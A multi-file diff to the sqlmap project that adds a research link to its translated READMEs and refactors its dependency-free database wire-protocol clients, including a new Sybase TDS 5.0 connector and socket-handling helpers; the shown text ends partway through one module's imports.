* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr * گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
* توێژینەوە: https://www.sekuripy.hr/labs/sqlmap/#research
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
وەرگێڕانەکان وەرگێڕانەکان
+1
View File
@@ -47,4 +47,5 @@ Links
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Spielwiese: https://sekumart.sekuripy.hr * Spielwiese: https://sekumart.sekuripy.hr
* Forschung: https://www.sekuripy.hr/labs/sqlmap/#research
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -47,4 +47,5 @@ Enlaces
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Campo de pruebas: https://sekumart.sekuripy.hr * Campo de pruebas: https://sekumart.sekuripy.hr
* Investigación: https://www.sekuripy.hr/labs/sqlmap/#research
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -82,4 +82,5 @@
* توییتر: [@sqlmap](https://x.com/sqlmap) * توییتر: [@sqlmap](https://x.com/sqlmap)
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* زمین تمرین: https://sekumart.sekuripy.hr * زمین تمرین: https://sekumart.sekuripy.hr
* پژوهش: https://www.sekuripy.hr/labs/sqlmap/#research
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -47,4 +47,5 @@ Liens
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Terrain de jeu: https://sekumart.sekuripy.hr * Terrain de jeu: https://sekumart.sekuripy.hr
* Recherche: https://www.sekuripy.hr/labs/sqlmap/#research
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Χώρος δοκιμών: https://sekumart.sekuripy.hr * Χώρος δοκιμών: https://sekumart.sekuripy.hr
* Έρευνα: https://www.sekuripy.hr/labs/sqlmap/#research
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ Poveznice
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Vježbalište: https://sekumart.sekuripy.hr * Vježbalište: https://sekumart.sekuripy.hr
* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -51,4 +51,5 @@ Tautan
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
* Arena latihan: https://sekumart.sekuripy.hr * Arena latihan: https://sekumart.sekuripy.hr
* Riset: https://www.sekuripy.hr/labs/sqlmap/#research
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -47,5 +47,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
* ट्विटर: [@sqlmap](https://x.com/sqlmap) * ट्विटर: [@sqlmap](https://x.com/sqlmap)
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* अभ्यास स्थल: https://sekumart.sekuripy.hr * अभ्यास स्थल: https://sekumart.sekuripy.hr
* अनुसंधान: https://www.sekuripy.hr/labs/sqlmap/#research
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
* *
+1
View File
@@ -48,4 +48,5 @@ Link
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Campo di prova: https://sekumart.sekuripy.hr * Campo di prova: https://sekumart.sekuripy.hr
* Ricerca: https://www.sekuripy.hr/labs/sqlmap/#research
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -49,4 +49,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* プレイグラウンド: https://sekumart.sekuripy.hr * プレイグラウンド: https://sekumart.sekuripy.hr
* 研究: https://www.sekuripy.hr/labs/sqlmap/#research
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -47,4 +47,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr * სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
* კვლევა: https://www.sekuripy.hr/labs/sqlmap/#research
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
* 트위터: [@sqlmap](https://x.com/sqlmap) * 트위터: [@sqlmap](https://x.com/sqlmap)
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 플레이그라운드: https://sekumart.sekuripy.hr * 플레이그라운드: https://sekumart.sekuripy.hr
* 연구: https://www.sekuripy.hr/labs/sqlmap/#research
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ Links
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Speeltuin: https://sekumart.sekuripy.hr * Speeltuin: https://sekumart.sekuripy.hr
* Onderzoek: https://www.sekuripy.hr/labs/sqlmap/#research
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ Odnośniki
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Piaskownica: https://sekumart.sekuripy.hr * Piaskownica: https://sekumart.sekuripy.hr
* Badania: https://www.sekuripy.hr/labs/sqlmap/#research
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ Links
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
* Playground: https://sekumart.sekuripy.hr * Playground: https://sekumart.sekuripy.hr
* Pesquisa: https://www.sekuripy.hr/labs/sqlmap/#research
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ Linkovi
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Poligon: https://sekumart.sekuripy.hr * Poligon: https://sekumart.sekuripy.hr
* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Песочница: https://sekumart.sekuripy.hr * Песочница: https://sekumart.sekuripy.hr
* Исследования: https://www.sekuripy.hr/labs/sqlmap/#research
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ Linky
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Cvičisko: https://sekumart.sekuripy.hr * Cvičisko: https://sekumart.sekuripy.hr
* Výskum: https://www.sekuripy.hr/labs/sqlmap/#research
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -51,4 +51,5 @@ Bağlantılar
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Deneme alanı: https://sekumart.sekuripy.hr * Deneme alanı: https://sekumart.sekuripy.hr
* Araştırma: https://www.sekuripy.hr/labs/sqlmap/#research
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Пісочниця: https://sekumart.sekuripy.hr * Пісочниця: https://sekumart.sekuripy.hr
* Дослідження: https://www.sekuripy.hr/labs/sqlmap/#research
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -50,4 +50,5 @@ Liên kết
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Sân tập: https://sekumart.sekuripy.hr * Sân tập: https://sekumart.sekuripy.hr
* Nghiên cứu: https://www.sekuripy.hr/labs/sqlmap/#research
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -47,4 +47,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 靶场: https://sekumart.sekuripy.hr * 靶场: https://sekumart.sekuripy.hr
* 研究: https://www.sekuripy.hr/labs/sqlmap/#research
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+8 -2
View File
@@ -22,7 +22,8 @@ A wire protocol is shared across a whole family of products, so one client serve
|-----------------|---------------------|---------| |-----------------|---------------------|---------|
| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica | | `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica |
| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | | `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona |
| `tds.py` | TDS | Microsoft SQL Server, Sybase | | `tds.py` | TDS 7.x | Microsoft SQL Server |
| `sybase.py` | TDS 5.0 | Sybase / SAP ASE |
| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | | `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 |
| `cubrid.py` | CUBRID CAS | CUBRID | | `cubrid.py` | CUBRID CAS | CUBRID |
| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks | | `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks |
@@ -57,7 +58,12 @@ parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-pr
`caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not `caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not
supported; use a `mysql_native_password` account for the dependency-free path. supported; use a `mysql_native_password` account for the dependency-free path.
- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database) - **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database)
require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. LOGIN7 is the
Microsoft dialect (TDS 7.x) and does not reach Sybase - see the next bullet.
- **TDS 5.0 (Sybase)** - cleartext LOGINREC login. The client declares no optional capabilities, so the
server converts anything exotic (`date`/`time`/`bigdatetime`, wide formats) down to the baseline types
before sending it. Packet size is whatever the login negotiates. Sends and expects UTF-8, so a server
running any character set is decoded correctly.
- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by - **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by
default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented. default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented.
- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as - **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as
+78 -2
View File
@@ -11,10 +11,13 @@ sqlmap's direct ('-d') connection when no native driver (and no SQLAlchemy) is i
Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole
compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum; compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum;
a MySQL client serves MariaDB/TiDB/Aurora; a TDS client serves MSSQL/Sybase. Each module exposes a small a MySQL client serves MariaDB/TiDB/Aurora. Where a family split the protocol, so does the client: tds.py
PEP 249 (DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()). speaks Microsoft's TDS 7.x and sybase.py the TDS 5.0 that ASE kept. Each module exposes a small PEP 249
(DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()).
""" """
import socket
__version__ = "0.1" __version__ = "0.1"
apilevel = "2.0" apilevel = "2.0"
@@ -48,3 +51,76 @@ class InternalError(DatabaseError):
class NotSupportedError(DatabaseError): class NotSupportedError(DatabaseError):
pass pass
def http_origin(host, port):
"""
'http://host:port', with a literal IPv6 address bracketed as RFC 3986 requires. Without the brackets
the colons in the address are parsed as the port separator and the URL is simply wrong.
"""
host = host or "localhost"
if ":" in host and not host.startswith("["):
host = "[%s]" % host
return "http://%s:%d" % (host, int(port))
def connection_lost(ex):
"""
Turn a raw socket/OS failure into the DB-API hierarchy above.
Callers of a PEP 249 driver only ever catch Error and its subclasses, so a bare socket.error escaping
from a send/recv leaves them with an unhandled traceback instead of a handled connection failure.
"""
return OperationalError("connection lost (%s)" % ex)
def handshake_done(sock):
"""
Drop the connect deadline, once the login exchange is over.
connect_timeout has to stay armed THROUGH the handshake, not just the TCP connect: a peer that
accepts the connection and then says nothing (a wrong port, a silent proxy, a dropping firewall) is
perfectly alive as far as keepalive() below is concerned, so an unbounded login read waits forever.
A query is the opposite case - see keepalive().
"""
try:
sock.settimeout(None)
except Exception:
pass
def keepalive(sock):
"""
Ask the kernel to probe an idle connection, so a peer that dies without a FIN is eventually detected.
Deliberately NOT a read timeout: a legitimate query can take minutes on a big table, and a fixed
deadline would kill it. Keepalive distinguishes a dead peer from a slow one, which is the actual
failure being guarded against. Best-effort - the options are not portable everywhere.
"""
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
for name, value in (("TCP_KEEPIDLE", 60), ("TCP_KEEPINTVL", 10), ("TCP_KEEPCNT", 5)):
if hasattr(socket, name):
sock.setsockopt(socket.IPPROTO_TCP, getattr(socket, name), value)
except Exception:
pass
def recvn(sock, n):
"""
Read exactly n bytes off `sock`, or raise - every wire protocol here is framed, so a short read is a
desynchronized stream, not a smaller message.
Shared because it was five identical copies: a fix to the recv loop has to land once, not per module.
"""
buf = b""
while len(buf) < n:
try:
chunk = sock.recv(n - len(buf))
except (socket.error, OSError) as ex:
raise connection_lost(ex)
if not chunk:
raise InterfaceError("connection closed by server")
buf += chunk
return buf
+5 -1
View File
@@ -19,10 +19,13 @@ import socket
try: try:
from urllib.request import Request, urlopen # Python 3 from urllib.request import Request, urlopen # Python 3
from urllib.error import HTTPError, URLError from urllib.error import HTTPError, URLError
from urllib.parse import quote
except ImportError: except ImportError:
from urllib2 import Request, urlopen, HTTPError, URLError # Python 2 from urllib2 import Request, urlopen, HTTPError, URLError # Python 2
from urllib import quote
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import http_origin
from extra.dbwire import ProgrammingError from extra.dbwire import ProgrammingError
# TabSeparated backslash escapes -> the literal byte they denote # TabSeparated backslash escapes -> the literal byte they denote
@@ -87,7 +90,8 @@ class Cursor(object):
class Connection(object): class Connection(object):
def __init__(self, host, port, user, password, database, timeout): def __init__(self, host, port, user, password, database, timeout):
self._url = "http://%s:%d/?database=%s&default_format=TabSeparatedWithNames" % (host, port, database or "default") # quote the database: a name with a reserved character would otherwise inject into the query string
self._url = "%s/?database=%s&default_format=TabSeparatedWithNames" % (http_origin(host, port), quote(database or "default", safe=""))
self._headers = {} self._headers = {}
if user or password: if user or password:
token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii") token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii")
+51 -25
View File
@@ -23,6 +23,10 @@ from extra.dbwire import InterfaceError
from extra.dbwire import IntegrityError from extra.dbwire import IntegrityError
from extra.dbwire import NotSupportedError from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import connection_lost
from extra.dbwire import handshake_done
from extra.dbwire import keepalive
from extra.dbwire import recvn
from extra.dbwire import ProgrammingError from extra.dbwire import ProgrammingError
_MAGIC = b"CUBRK" _MAGIC = b"CUBRK"
@@ -130,6 +134,10 @@ class _Reader(object):
v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v
def raw(self, n): def raw(self, n):
# a slice past the end returns short data *silently*, which would hand a truncated value to the
# caller (the fixed-width readers above raise struct.error instead)
if n < 0 or n > self.remaining():
raise InterfaceError("CAS response too short (wanted %d of %d bytes)" % (n, self.remaining()))
v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v) v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v)
def skip(self, n): def skip(self, n):
@@ -255,19 +263,13 @@ class Connection(object):
self._sock = None self._sock = None
def _recvn(self, n): def _recvn(self, n):
buf = b"" return recvn(self._sock, n)
while len(buf) < n:
chunk = self._sock.recv(n - len(buf))
if not chunk:
raise InterfaceError("connection closed by server")
buf += chunk
return buf
def _open(self): def _open(self):
# broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login # broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login
try: try:
sock = socket.create_connection((self._host, self._port), timeout=self._timeout) sock = socket.create_connection((self._host, self._port), timeout=self._timeout)
sock.settimeout(None) keepalive(sock)
sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00") sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00")
self._sock = sock self._sock = sock
(port,) = struct.unpack(">i", self._recvn(4)) (port,) = struct.unpack(">i", self._recvn(4))
@@ -276,21 +278,26 @@ class Connection(object):
if port > 0: # redirected to a CAS worker: reconnect there, no second handshake if port > 0: # redirected to a CAS worker: reconnect there, no second handshake
self._safe_close() self._safe_close()
sock = socket.create_connection((self._host, port), timeout=self._timeout) sock = socket.create_connection((self._host, port), timeout=self._timeout)
sock.settimeout(None) keepalive(sock)
self._sock = sock self._sock = sock
login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32)
login += b"\x00" * 532 # 512 extended-info + 20 reserved
self._sock.sendall(login)
reader = self._read_response()
reader.int() # response_code (>=0; errors already raised in _read_response)
broker = reader.raw(8)
self._protocol_version = bytearray(broker)[4] & 0x3f
# enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance)
self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1))
except (socket.error, socket.timeout) as ex: except (socket.error, socket.timeout) as ex:
self._safe_close() self._safe_close()
raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex)) raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex))
except Exception: # a rejected login (or connection_lost() out of _recvn) is still ours to close
self._safe_close()
raise
login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32) handshake_done(self._sock)
login += b"\x00" * 532 # 512 extended-info + 20 reserved
self._sock.sendall(login)
reader = self._read_response()
reader.int() # response_code (>=0; errors already raised in _read_response)
broker = reader.raw(8)
self._protocol_version = bytearray(broker)[4] & 0x3f
# enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance)
self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1))
@staticmethod @staticmethod
def _fixed(value, length): def _fixed(value, length):
@@ -299,7 +306,10 @@ class Connection(object):
def _send(self, payload): def _send(self, payload):
# frame: [payload_len(4)][cas_info(4)][payload] # frame: [payload_len(4)][cas_info(4)][payload]
self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload) try:
self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload)
except (socket.error, OSError) as ex:
raise connection_lost(ex)
def _read_response(self): def _read_response(self):
(data_length,) = struct.unpack(">i", self._recvn(4)) (data_length,) = struct.unpack(">i", self._recvn(4))
@@ -333,9 +343,9 @@ class Connection(object):
text = message.lower() text = message.lower()
if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")): if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")):
raise IntegrityError(message) raise IntegrityError(message)
if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before ' '")): if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before '")):
raise ProgrammingError(message) raise ProgrammingError(message) # CUBRID points at the offending token as: before ' ,'y')'
if any(k in text for k in ("cast", "conversion", "overflow", "truncat")): if any(k in text for k in ("cast", "coerce", "conversion", "overflow", "truncat")):
raise DataError(message) raise DataError(message)
raise ProgrammingError(message) raise ProgrammingError(message)
@@ -344,15 +354,32 @@ class Connection(object):
def _query(self, query): def _query(self, query):
reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0)) reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0))
handle = reader.int() handle = reader.int()
try:
return self._execute(handle, reader)
finally:
# release the broker-side request handle even when execute/fetch raised: a connection that
# survives a few failed statements would otherwise hold every one of them until it closes
try:
self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle))
except Exception:
pass
def _execute(self, handle, reader):
reader.int() # result cache lifetime reader.int() # result cache lifetime
stmt_type = reader.byte() stmt_type = reader.byte()
reader.int() # bind count reader.int() # bind count
reader.byte() # is_updatable reader.byte() # is_updatable
columns = self._parse_columns(reader, reader.int()) columns = self._parse_columns(reader, reader.int())
# args: handle, flag, max_col_size, max_row, binds, fetch_flag, auto_commit, forward_only_cursor,
# cache_time, query_timeout. auto_commit makes the CAS worker commit the statement and end the
# transaction - without it DML is rolled back when the connection drops, whatever _open() asked
# SET_DB_PARAMETER for. It must stay off for a SELECT: ending the transaction there invalidates the
# request handle the paged _fetch_remaining() still reads from.
select = stmt_type == _STMT_SELECT
exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0) exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0)
.arg_null().arg_byte(1 if stmt_type == _STMT_SELECT else 0) .arg_null().arg_byte(1 if select else 0)
.arg_byte(0).arg_byte(1).arg_cache_time().arg_int(0)) .arg_byte(0 if select else 1).arg_byte(1).arg_cache_time().arg_int(0))
reader = self._call(exec_writer) reader = self._call(exec_writer)
total = reader.int() total = reader.int()
@@ -374,7 +401,6 @@ class Connection(object):
rows += self._fetch_remaining(handle, columns, len(rows), total) rows += self._fetch_remaining(handle, columns, len(rows), total)
elif result_infos: elif result_infos:
rowcount = result_infos[0] rowcount = result_infos[0]
self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle))
return description, rows, rowcount return description, rows, rowcount
def _fetch_remaining(self, handle, columns, fetched, total): def _fetch_remaining(self, handle, columns, fetched, total):
+93 -61
View File
@@ -26,6 +26,10 @@ from extra.dbwire import IntegrityError
from extra.dbwire import InterfaceError from extra.dbwire import InterfaceError
from extra.dbwire import NotSupportedError from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import connection_lost
